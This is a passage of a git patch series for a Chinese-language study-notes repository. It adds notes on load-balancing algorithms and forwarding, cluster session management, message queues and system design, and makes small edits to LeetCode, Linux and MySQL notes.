-可以保证同一 IP 的客户端的请求会转发到同一台服务器上，用来实现会话粘滞（Sticky Session）
-
-<div align="center"> <img src="../pics//2018040302.jpg"/> </div><br>
-
-## 转发实现
-
-### 1. HTTP 重定向
-
-HTTP 重定向负载均衡服务器使用某种负载均衡算法计算得到服务器的 IP 地址之后，将该地址写入 HTTP 重定向报文中，状态码为 302。客户端收到重定向报文之后，需要重新向服务器发起请求。
-
-缺点：
-
-- 需要两次请求，因此访问延迟比较高；
-- HTTP 负载均衡器处理能力有限，会限制集群的规模。
-
-该负载均衡转发的缺点比较明显，实际场景中很少使用它。
-
-<div align="center"> <img src="../pics//c5f611f0-fd5c-4158-9003-278141136e6e.jpg"/> </div><br>
-
-### 2. DNS 域名解析
-
-在 DNS 解析域名的同时使用负载均衡算法计算服务器地址。
-
-优点：
-
-- DNS 能够根据地理位置进行域名解析，返回离用户最近的服务器 IP 地址。
-
-缺点：
-
-- 由于 DNS 具有多级结构，每一级的域名记录都可能被缓存，当下线一台服务器需要修改 DNS 记录时，需要过很长一段时间才能生效。
-
-大型网站基本使用了 DNS 做为第一级负载均衡手段，然后在内部使用其它方式做第二级负载均衡。也就是说，域名解析的结果为内部的负载均衡服务器 IP 地址。
-
-<div align="center"> <img src="../pics//76a25fc8-a579-4d7c-974b-7640b57fbf39.jpg"/> </div><br>
-
-### 3. 反向代理服务器
-
-首先了解一下正向代理与反向代理的区别：
-
-- 正向代理：发生在客户端，是由用户主动发起的。比如翻墙，客户端通过主动访问代理服务器，让代理服务器获得需要的外网数据，然后转发回客户端；
-- 反向代理：发生在服务器端，用户不知道代理的存在。
-
-反向代理服务器位于源服务器前面，用户的请求需要先经过反向代理服务器才能到达源服务器。反向代理可以用来进行缓存、日志记录等，同时也可以用来做为负载均衡服务器。
-
-在这种负载均衡转发方式下，客户端不直接请求源服务器，因此源服务器不需要外部 IP 地址，而反向代理需要配置内部和外部两套 IP 地址。
-
-优点：
-
-- 与其它功能集成在一起，部署简单。
-
-缺点：
-
-- 所有请求和响应都需要经过反向代理服务器，它可能会成为性能瓶颈。
-
-### 4. 网络层
-
-在操作系统内核进程获取网络数据包，根据负载均衡算法计算源服务器的 IP 地址，并修改请求数据包的目的 IP 地址，最后进行转发。
-
-源服务器返回的响应也需要经过负载均衡服务器，通常是让负载均衡服务器同时作为集群的网关服务器来实现。
-
-优点：
-
-- 在内核进程中进行处理，性能比较高。
-
-缺点：
-
-- 和反向代理一样，所有的请求和响应都经过负载均衡服务器，会成为性能瓶颈。
-
-### 5. 链路层
-
-在链路层根据负载均衡算法计算源服务器的 MAC 地址，并修改请求数据包的目的 MAC 地址，并进行转发。
-
-通过配置源服务器的虚拟 IP 地址和负载均衡服务器的 IP 地址一致，从而不需要修改 IP 地址就可以进行转发。也正因为 IP 地址一样，所以源服务器的响应不需要转发回负载均衡服务器，直接转发给客户端，避免了负载均衡服务器的成为瓶颈。这是一种三角传输模式，被称为直接路由，对于提供下载和视频服务的网站来说，直接路由避免了大量的网络传输数据经过负载均衡服务器。
-
-这是目前大型网站使用最广负载均衡转发方式，在 Linux 平台可以使用的负载均衡服务器为 LVS（Linux Virtual Server）。
-
-参考：
-
-- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
-- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)
-
-# 二、集群下的 Session 管理
-
-一个用户的 Session 信息如果存储在一个服务器上，那么当负载均衡器把用户的下一个请求转发到另一个服务器，由于服务器没有用户的 Session 信息，那么该用户就需要重新进行登录等操作。
-
-## Sticky Session
-
-需要配置负载均衡器，使得一个用户的所有请求都路由到同一个服务器，这样就可以把用户的 Session 存放在该服务器中。
-
-缺点：
-
-- 当服务器宕机时，将丢失该服务器上的所有 Session。
-
-<div align="center"> <img src="../pics//MultiNode-StickySessions.jpg"/> </div><br>
-
-## Session Replication
-
-在服务器之间进行 Session 同步操作，每个服务器都有所有用户的 Session 信息，因此用户可以向任何一个服务器进行请求。
-
-缺点：
-
-- 占用过多内存；
-- 同步过程占用网络带宽以及服务器处理器时间。
-
-
-<div align="center"> <img src="../pics//MultiNode-SessionReplication.jpg"/> </div><br>
-
-## Session Server
-
-使用一个单独的服务器存储 Session 数据，可以使用 MySQL，也使用 Redis 或者 Memcached 这种内存型数据库。
-
-优点：
-
-- 为了使得大型网站具有伸缩性，集群中的应用服务器通常需要保持无状态，那么应用服务器不能存储用户的会话信息。Session Server 将用户的会话信息单独进行存储，从而保证了应用服务器的无状态。
-
-缺点：
-
-- 需要去实现存取 Session 的代码。
-
-<div align="center"> <img src="../pics//MultiNode-SpringSession.jpg"/> </div><br>
-
-参考：
-
-- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)
-
->>>>>>> 8c67483fe9ac599aa6f6358fb32a541d7e279666

From 0d34f6ec144f8207382711ccd42a417f6f8d6bf9 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 7 Aug 2018 17:52:24 +0800
Subject: [PATCH 86/87] auto commit

---
 notes/Leetcode 题解.md |   8 +-
 notes/Linux.md         |   9 +-
 notes/MySQL.md         |   2 +-
 notes/消息队列.md      |  76 ++++++++++++++++
 notes/系统设计基础.md  | 100 ++++++++++++++++++++
 notes/集群.md          | 202 +++++++++++++++++++++++++++++++++++++++++
 6 files changed, 391 insertions(+), 6 deletions(-)

diff --git a/notes/Leetcode 题解.md b/notes/Leetcode 题解.md
index 293f4328..2813ce5d 100644
--- a/notes/Leetcode 题解.md	
+++ b/notes/Leetcode 题解.md	
@@ -2371,7 +2371,9 @@ public List<Integer> diffWaysToCompute(String input) {
 
 题目描述：有 N 阶楼梯，每次可以上一阶或者两阶，求有多少种上楼梯的方法。
 
-定义一个数组 dp 存储上楼梯的方法数（为了方便讨论，数组下标从 1 开始），dp[i] 表示走到第 i 个楼梯的方法数目。第 i 个楼梯可以从第 i-1 和 i-2 个楼梯再走一步到达，走到第 i 个楼梯的方法数为走到第 i-1 和第 i-2 个楼梯的方法数之和。
+定义一个数组 dp 存储上楼梯的方法数（为了方便讨论，数组下标从 1 开始），dp[i] 表示走到第 i 个楼梯的方法数目。
+
+第 i 个楼梯可以从第 i-1 和 i-2 个楼梯再走一步到达，走到第 i 个楼梯的方法数为走到第 i-1 和第 i-2 个楼梯的方法数之和。
 
 <div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i]=dp[i-1]+dp[i-2]"/></div> <br>
 
@@ -2400,7 +2402,9 @@ public int climbStairs(int n) {
 
 题目描述：抢劫一排住户，但是不能抢邻近的住户，求最大抢劫量。
 
-定义 dp 数组用来存储最大的抢劫量，其中 dp[i] 表示抢到第 i 个住户时的最大抢劫量。由于不能抢劫邻近住户，因此如果抢劫了第 i 个住户那么只能抢劫 i - 2 或者 i - 3 的住户，所以
+定义 dp 数组用来存储最大的抢劫量，其中 dp[i] 表示抢到第 i 个住户时的最大抢劫量。
+
+由于不能抢劫邻近住户，因此如果抢劫了第 i 个住户那么只能抢劫 i - 2 或者 i - 3 的住户，所以
 
 <div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i]=max(dp[i-2],dp[i-3])+nums[i]"/></div> <br>
 
diff --git a/notes/Linux.md b/notes/Linux.md
index ebcc347b..14d3b317 100644
--- a/notes/Linux.md
+++ b/notes/Linux.md
@@ -275,8 +275,6 @@ BIOS 不可以读取 GPT 分区表，而 UEFI 可以。
 
 ## 组成
 
-<div align="center"> <img src="../pics//BSD_disk.png" width="800"/> </div><br>
-
 最主要的几个组成部分如下：
 
 - inode：一个文件占用一个 inode，记录文件的属性，同时记录此文件的内容所在的 block 编号；
@@ -287,6 +285,9 @@ BIOS 不可以读取 GPT 分区表，而 UEFI 可以。
 - superblock：记录文件系统的整体信息，包括 inode 和 block 的总量、使用量、剩余量，以及文件系统的格式与相关信息等；
 - block bitmap：记录 block 是否被使用的位域；
 
+<div align="center"> <img src="../pics//BSD_disk.png" width="800"/> </div><br>
+
+
 ## 文件读取
 
 对于 Ext2 文件系统，当要读取一个文件的内容时，先在 inode 中去查找文件内容所在的所有 block，然后把所有 block 的内容读出来。
@@ -336,7 +337,9 @@ inode 中记录了文件内容所在的 block 编号，但是每个 block 非常
 
 ## 目录
 
-建立一个目录时，会分配一个 inode 与至少一个 block。block 记录的内容是目录下所有文件的 inode 编号以及文件名。可以看出文件的 inode 本身不记录文件名，文件名记录在目录中，因此新增文件、删除文件、更改文件名这些操作与目录的 w 权限有关。
+建立一个目录时，会分配一个 inode 与至少一个 block。block 记录的内容是目录下所有文件的 inode 编号以及文件名。
+
+可以看出文件的 inode 本身不记录文件名，文件名记录在目录中，因此新增文件、删除文件、更改文件名这些操作与目录的 w 权限有关。
 
 ## 日志
 
diff --git a/notes/MySQL.md b/notes/MySQL.md
index 1c575fae..690425db 100644
--- a/notes/MySQL.md
+++ b/notes/MySQL.md
@@ -139,7 +139,7 @@ B+ Tree 是基于 B Tree 和叶子节点顺序访问指针进行实现，它具
 
 ### 2. 操作
 
-操作时，首先在根节点进行二分查找，找到一个 key 所在的指针，然后递归地在指针所指向的节点进行查找。直到查找到叶子节点，然后在叶子节点上进行二分查找，找出 key 所对应的 data。
+进行查找操作时，首先在根节点进行二分查找，找到一个 key 所在的指针，然后递归地在指针所指向的节点进行查找。直到查找到叶子节点，然后在叶子节点上进行二分查找，找出 key 所对应的 data。
 
 插入删除操作记录会破坏平衡树的平衡性，因此在插入删除时，需要对树进行一个分裂、合并、旋转等操作。
 
diff --git a/notes/消息队列.md b/notes/消息队列.md
index 649f563a..74155802 100644
--- a/notes/消息队列.md
+++ b/notes/消息队列.md
@@ -1,4 +1,80 @@
 <!-- GFM-TOC -->
+* [一、消息模型](#一消息模型)
+    * [点对点](#点对点)
+    * [发布/订阅](#发布订阅)
+* [二、使用场景](#二使用场景)
+    * [异步处理](#异步处理)
+    * [流量削锋](#流量削锋)
+    * [应用解耦](#应用解耦)
+* [三、可靠性](#三可靠性)
+    * [发送端的可靠性](#发送端的可靠性)
+    * [接收端的可靠性](#接收端的可靠性)
 <!-- GFM-TOC -->
 
 
+# 一、消息模型
+
+## 点对点
+
+消息生产者向消息队列中发送了一个消息之后，只能被一个消费者消费一次。
+
+<div align="center"> <img src="../pics//09b52bcb-88ba-4e36-8244-b375f16ad116.jpg"/> </div><br>
+
+## 发布/订阅
+
+消息生产者向频道发送一个消息之后，多个消费者可以从该频道订阅到这条消息并消费。
+
+<div align="center"> <img src="../pics//ddb5ff4c-4ada-46aa-9bf1-140bdb5e4676.jpg"/> </div><br>
+
+发布与订阅模式和观察者模式有以下不同：
+
+- 观察者模式中，观察者和主题都知道对方的存在；而在发布与订阅模式中，发布者与订阅者不知道对方的存在，它们之间通过频道进行通信。
+- 观察者模式是同步的，当事件触发时，主题会去调用观察者的方法，然后等待方法返回；而发布与订阅模式是异步的，发布者向频道发送一个消息之后，就不需要关心订阅者何时去订阅这个消息。
+
+<div align="center"> <img src="../pics//bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg"/> </div><br>
+
+参考：
+
+- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)
+- [消息队列中点对点与发布订阅区别](https://blog.csdn.net/lizhitao/article/details/47723105)
+
+# 二、使用场景
+
+## 异步处理
+
+发送者将消息发送给消息队列之后，不需要同步等待消息接收者处理完毕，而是立即返回进行其它操作。消息接收者从消息队列中订阅消息之后异步处理。
+
+例如在注册流程中通常需要发送验证邮件来确保注册用户的身份合法，可以使用消息队列使发送验证邮件的操作异步处理，用户在填写完注册信息之后就可以完成注册，而将发送验证邮件这一消息发送到消息队列中。
+
+只有在业务流程允许异步处理的情况下才能这么做，例如上面的注册流程中，如果要求用户对验证邮件进行点击之后才能完成注册的话，就不能再使用消息队列。
+
+## 流量削锋
+
+在高并发的场景下，如果短时间有大量的请求到达会压垮服务器。
+
+可以将请求发送到消息队列中，服务器按照其处理能力从消息队列中订阅消息进行处理。
+
+## 应用解耦
+
+如果模块之间不直接进行调用，模块之间耦合度就会很低，那么修改一个模块或者新增一个模块对其它模块的影响会很小，从而实现可扩展性。
+
+通过使用消息队列，一个模块只需要向消息队列中发送消息，其它模块可以选择性地从消息队列中订阅消息从而完成调用。
+
+# 三、可靠性
+
+## 发送端的可靠性
+
+发送端完成操作后一定能将消息成功发送到消息队列中。
+
+实现方法：
+
+- 在本地数据库建一张消息表，将消息数据与业务数据保存在同一数据库实例里，这样就可以利用本地数据库的事务机制。事务提交成功后，将消息表中的消息转移到消息队列中，若转移消息成功则删除消息表中的数据，否则继续重传。
+
+## 接收端的可靠性
+
+接收端能够从消息中间件成功消费一次消息。
+
+实现方法：
+
+- 保证接收端处理消息的业务逻辑具有幂等性：只要具有幂等性，那么消费多少次消息，最后处理的结果都是一样的。
+- 保证消息具有唯一编号，并使用一张日志表来记录已经消费的消息编号。
diff --git a/notes/系统设计基础.md b/notes/系统设计基础.md
index 649f563a..40f0ca9d 100644
--- a/notes/系统设计基础.md
+++ b/notes/系统设计基础.md
@@ -1,4 +1,104 @@
 <!-- GFM-TOC -->
+* [一、性能](#一性能)
+* [二、伸缩性](#二伸缩性)
+* [三、扩展性](#三扩展性)
+* [四、可用性](#四可用性)
+* [五、安全性](#五安全性)
 <!-- GFM-TOC -->
 
 
+# 一、性能
+
+## 性能指标
+
+### 1. 响应时间
+
+指从某个请求从发出到接收到响应消耗的时间。
+
+在对响应时间进行测试时，通常采用重复请求方式，然后计算平均响应时间。
+
+### 2. 吞吐量
+
+指系统在单位时间内可以处理的请求数量，通常使用每秒的请求数来衡量。
+
+### 3. 并发用户数
+
+指系统能同时处理的并发用户请求数量。
+
+在没有并发存在的系统中，请求被顺序执行，此时响应时间为吞吐量的倒数。例如系统支持的吞吐量为 100 req/s，那么平均响应时间应该为 0.01s。
+
+目前的大型系统都支持多线程来处理并发请求，多线程能够提高吞吐量以及缩短响应时间，主要有两个原因：
+
+- 多 CPU
+- IO 等待时间
+
+使用 IO 多路复用等方式，系统在等待一个 IO 操作完成的这段时间内不需要被阻塞，可以去处理其它请求。通过将这个等待时间利用起来，使得 CPU 利用率大大提高。
+
+并发用户数不是越高越好，因为如果并发用户数太高，系统来不及处理这么多的请求，会使得过多的请求需要等待，那么响应时间就会大大提高。
+
+## 性能优化
+
+### 1. 集群
+
+将多台服务器组成集群，使用负载均衡将请求转发到集群中，避免单一服务器的负载压力过大导致性能降低。
+
+### 2. 缓存
+
+缓存能够提高性能的原因如下：
+
+- 缓存数据通常位于内存等介质中，这种介质对于读操作特别快；
+- 缓存数据可以位于靠近用户的地理位置上；
+- 可以将计算结果进行缓存，从而避免重复计算。
+
+### 3. 异步
+
+某些流程可以将操作转换为消息，将消息发送到消息队列之后立即返回，之后这个操作会被异步处理。
+
+# 二、伸缩性
+
+指不断向集群中添加服务器来缓解不断上升的用户并发访问压力和不断增长的数据存储需求。
+
+## 伸缩性与性能
+
+如果系统存在性能问题，那么单个用户的请求总是很慢的；
+
+如果系统存在伸缩性问题，那么单个用户的请求可能会很快，但是在并发数很高的情况下系统会很慢。
+
+## 实现伸缩性
+
+应用服务器只要不具有状态，那么就可以很容易地通过负载均衡器向集群中添加新的服务器。
+
+关系型数据库的伸缩性通过 Sharding 来实现，将数据按一定的规则分布到不同的节点上，从而解决单台存储服务器存储空间限制。
+
+对于非关系型数据库，它们天生就是为海量数据而诞生，对伸缩性的支持特别好。
+
+# 三、扩展性
+
+指的是添加新功能时对现有系统的其它应用无影响，这就要求不同应用具备低耦合的特点。
+
+实现可扩展主要有两种方式：
+
+- 使用消息队列进行解耦，应用之间通过消息传递的方式进行通信；
+- 使用分布式服务将业务和可复用的服务分离开来，业务使用分布式服务框架调用可复用的服务。新增的产品可以用过调用可复用的服务来实现业务逻辑，对其它产品没有影响。
+
+# 四、可用性
+
+## 冗余
+
+保证高可用的主要手段是使用冗余，当某个服务器故障时就请求其它服务器。
+
+应用服务器的冗余比较容易实现，只要保证应用服务器不具有状态，那么某个应用服务器故障时，负载均衡器将该应用服务器原先的用户请求转发到另一个应用服务器上不会对用户有任何影响。
+
+存储服务器的冗余需要使用主从复制来实现，当主服务器故障时，需要提升从服务器为主服务器，这个过程称为切换。
+
+## 监控
+
+对 CPU、内存、磁盘、网络等系统负载信息进行监控，当某个数据达到一定阈值时通知运维人员，从而在系统发生故障之前及时发现问题。
+
+## 服务降级
+
+服务器降级是系统为了应对大量的请求，主动关闭部分功能，从而保证核心功能可用。
+
+# 五、安全性
+
+要求系统的应对各种攻击手段时能够有可靠的应对措施。
diff --git a/notes/集群.md b/notes/集群.md
index 649f563a..717ae637 100644
--- a/notes/集群.md
+++ b/notes/集群.md
@@ -1,4 +1,206 @@
 <!-- GFM-TOC -->
+* [一、负载均衡](#一负载均衡)
+    * [算法实现](#算法实现)
+    * [转发实现](#转发实现)
+* [二、集群下的 Session 管理](#二集群下的-session-管理)
+    * [Sticky Session](#sticky-session)
+    * [Session Replication](#session-replication)
+    * [Session Server](#session-server)
 <!-- GFM-TOC -->
 
 
+# 一、负载均衡
+
+集群中的应用服务器通常被设计成无状态，用户可以请求任何一个节点（应用服务器）。
+
+负载均衡器会根据集群中每个节点的负载情况，将用户请求转发到合适的节点上。
+
+负载均衡器可以用来实现高可用以及伸缩性：
+
+- 高可用：当某个节点故障时，负载均衡器不会将用户请求转发到该节点上，从而保证所有服务持续可用；
+- 伸缩性：可以很容易地添加移除节点。
+
+负载均衡运行过程包含两个部分：
+
+1. 根据负载均衡算法得到请求转发的节点；
+2. 将请求进行转发；
+
+## 算法实现
+
+### 1. 轮询（Round Robin）
+
+轮询算法把每个请求轮流发送到每个服务器上。
+
+下图中，一共有 6 个客户端产生了 6 个请求，这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。最后，(1, 3, 5) 的请求会被发送到服务器 1，(2, 4, 6) 的请求会被发送到服务器 2。
+
+<div align="center"> <img src="../pics//2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg"/> </div><br>
+
+该算法比较适合每个服务器的性能差不多的场景，如果有性能存在差异的情况下，那么性能较差的服务器可能无法承担过大的负载（下图的 Server 2）。
+
+<div align="center"> <img src="../pics//f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg"/> </div><br>
+
+### 2. 加权轮询（Weighted Round Robbin）
+
+加权轮询是在轮询的基础上，根据服务器的性能差异，为服务器赋予一定的权值，性能高的服务器分配更高的权值。
+
+例如下图中，服务器 1 被赋予的权值为 5，服务器 2 被赋予的权值为 1，那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1，(6) 请求会被发送到服务器 2。
+
+<div align="center"> <img src="../pics//211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg"/> </div><br>
+
+### 3. 最少连接（least Connections）
+
+由于每个请求的连接时间不一样，使用轮询或者加权轮询算法的话，可能会让一台服务器当前连接数过大，而另一台服务器的连接过小，造成负载不均衡。
+
+例如下图中，(1, 3, 5) 请求会被发送到服务器 1，但是 (1, 3) 很快就断开连接，此时只有 (5) 请求连接服务器 1；(2, 4, 6) 请求被发送到服务器 2，只有 (2) 的连接断开。该系统继续运行时，服务器 2 会承担过大的负载。
+
+<div align="center"> <img src="../pics//3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg"/> </div><br>
+
+最少连接算法就是将请求发送给当前最少连接数的服务器上。
+
+例如下图中，服务器 1 当前连接数最小，那么新到来的请求 6 就会被发送到服务器 1 上。
+
+<div align="center"> <img src="../pics//1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg"/> </div><br>
+
+### 4. 加权最少连接（Weighted Least Connection）
+
+在最少连接的基础上，根据服务器的性能为每台服务器分配权重，再根据权重计算出每台服务器能处理的连接数。
+
+<div align="center"> <img src="../pics//44edefb7-4b58-4519-b8ee-4aca01697b78.jpg"/> </div><br>
+
+### 5. 随机算法（Random）
+
+把请求随机发送到服务器上。
+
+和轮询算法类似，该算法比较适合服务器性能差不多的场景。
+
+<div align="center"> <img src="../pics//0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
+
+### 6. 源地址哈希法 (IP Hash)
+
+源地址哈希通过对客户端 IP 计算哈希值之后，再对服务器数量取模得到目标服务器的序号。
+
+可以保证同一 IP 的客户端的请求会转发到同一台服务器上，用来实现会话粘滞（Sticky Session）
+
+<div align="center"> <img src="../pics//2018040302.jpg"/> </div><br>
+
+## 转发实现
+
+### 1. HTTP 重定向
+
+HTTP 重定向负载均衡服务器使用某种负载均衡算法计算得到服务器的 IP 地址之后，将该地址写入 HTTP 重定向报文中，状态码为 302。客户端收到重定向报文之后，需要重新向服务器发起请求。
+
+缺点：
+
+- 需要两次请求，因此访问延迟比较高；
+- HTTP 负载均衡器处理能力有限，会限制集群的规模。
+
+该负载均衡转发的缺点比较明显，实际场景中很少使用它。
+
+<div align="center"> <img src="../pics//c5f611f0-fd5c-4158-9003-278141136e6e.jpg"/> </div><br>
+
+### 2. DNS 域名解析
+
+在 DNS 解析域名的同时使用负载均衡算法计算服务器地址。
+
+优点：
+
+- DNS 能够根据地理位置进行域名解析，返回离用户最近的服务器 IP 地址。
+
+缺点：
+
+- 由于 DNS 具有多级结构，每一级的域名记录都可能被缓存，当下线一台服务器需要修改 DNS 记录时，需要过很长一段时间才能生效。
+
+大型网站基本使用了 DNS 做为第一级负载均衡手段，然后在内部使用其它方式做第二级负载均衡。也就是说，域名解析的结果为内部的负载均衡服务器 IP 地址。
+
+<div align="center"> <img src="../pics//76a25fc8-a579-4d7c-974b-7640b57fbf39.jpg"/> </div><br>
+
+### 3. 反向代理服务器
+
+首先了解一下正向代理与反向代理的区别：
+
+- 正向代理：发生在客户端，是由用户主动发起的。比如翻墙，客户端通过主动访问代理服务器，让代理服务器获得需要的外网数据，然后转发回客户端；
+- 反向代理：发生在服务器端，用户不知道代理的存在。
+
+反向代理服务器位于源服务器前面，用户的请求需要先经过反向代理服务器才能到达源服务器。反向代理可以用来进行缓存、日志记录等，同时也可以用来做为负载均衡服务器。
+
+在这种负载均衡转发方式下，客户端不直接请求源服务器，因此源服务器不需要外部 IP 地址，而反向代理需要配置内部和外部两套 IP 地址。
+
+优点：
+
+- 与其它功能集成在一起，部署简单。
+
+缺点：
+
+- 所有请求和响应都需要经过反向代理服务器，它可能会成为性能瓶颈。
+
+### 4. 网络层
+
+在操作系统内核进程获取网络数据包，根据负载均衡算法计算源服务器的 IP 地址，并修改请求数据包的目的 IP 地址，最后进行转发。
+
+源服务器返回的响应也需要经过负载均衡服务器，通常是让负载均衡服务器同时作为集群的网关服务器来实现。
+
+优点：
+
+- 在内核进程中进行处理，性能比较高。
+
+缺点：
+
+- 和反向代理一样，所有的请求和响应都经过负载均衡服务器，会成为性能瓶颈。
+
+### 5. 链路层
+
+在链路层根据负载均衡算法计算源服务器的 MAC 地址，并修改请求数据包的目的 MAC 地址，并进行转发。
+
+通过配置源服务器的虚拟 IP 地址和负载均衡服务器的 IP 地址一致，从而不需要修改 IP 地址就可以进行转发。也正因为 IP 地址一样，所以源服务器的响应不需要转发回负载均衡服务器，直接转发给客户端，避免了负载均衡服务器的成为瓶颈。这是一种三角传输模式，被称为直接路由，对于提供下载和视频服务的网站来说，直接路由避免了大量的网络传输数据经过负载均衡服务器。
+
+这是目前大型网站使用最广负载均衡转发方式，在 Linux 平台可以使用的负载均衡服务器为 LVS（Linux Virtual Server）。
+
+参考：
+
+- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
+- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)
+
+# 二、集群下的 Session 管理
+
+一个用户的 Session 信息如果存储在一个服务器上，那么当负载均衡器把用户的下一个请求转发到另一个服务器，由于服务器没有用户的 Session 信息，那么该用户就需要重新进行登录等操作。
+
+## Sticky Session
+
+需要配置负载均衡器，使得一个用户的所有请求都路由到同一个服务器，这样就可以把用户的 Session 存放在该服务器中。
+
+缺点：
+
+- 当服务器宕机时，将丢失该服务器上的所有 Session。
+
+<div align="center"> <img src="../pics//MultiNode-StickySessions.jpg"/> </div><br>
+
+## Session Replication
+
+在服务器之间进行 Session 同步操作，每个服务器都有所有用户的 Session 信息，因此用户可以向任何一个服务器进行请求。
+
+缺点：
+
+- 占用过多内存；
+- 同步过程占用网络带宽以及服务器处理器时间。
+
+
+<div align="center"> <img src="../pics//MultiNode-SessionReplication.jpg"/> </div><br>
+
+## Session Server
+
+使用一个单独的服务器存储 Session 数据，可以使用 MySQL，也使用 Redis 或者 Memcached 这种内存型数据库。
+
+优点：
+
+- 为了使得大型网站具有伸缩性，集群中的应用服务器通常需要保持无状态，那么应用服务器不能存储用户的会话信息。Session Server 将用户的会话信息单独进行存储，从而保证了应用服务器的无状态。
+
+缺点：
+
+- 需要去实现存取 Session 的代码。
+
+<div align="center"> <img src="../pics//MultiNode-SpringSession.jpg"/> </div><br>
+
+参考：
+
+- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)
+

From 38bb39be2b01bf77187624ecd7f03229325b264b Mon Sep 17 00:00:00 2001
From: Keqi Huang <keqih@smu.edu>
Date: Tue, 7 Aug 2018 18:26:21 +0800
Subject: [PATCH 87/87] =?UTF-8?q?repo=20=E9=93=BE=E6=8E=A5=E6=9C=89?=
 =?UTF-8?q?=E8=AF=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 other/leetcode 总结.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/other/leetcode 总结.md b/other/leetcode 总结.md
index a864b791..82ff61c7 100644
--- a/other/leetcode 总结.md	
+++ b/other/leetcode 总结.md	
@@ -5,7 +5,7 @@
 
 ## LeetCode 习题集合
 
-* [LeetCode 解题集合](https://github.com/apachecn/leetcode/docs/Leetcode_Solutions)
+* [LeetCode 解题集合](https://github.com/apachecn/LeetCode/tree/master/docs/Leetcode_Solutions)
 
 
 ## 模版要求
@@ -19,7 +19,7 @@
 
 > **案例模版**
 
-[模版：007. Reverse Integer 反转整数](https://github.com/apachecn/leetcode/docs/Leetcode_Solutions/007._Reverse_Integer.md)
+[模版：007. Reverse Integer 反转整数](https://github.com/apachecn/LeetCode/tree/master/docs/Leetcode_Solutions/007._Reverse_Integer.md)
 
 
 ## 项目贡献者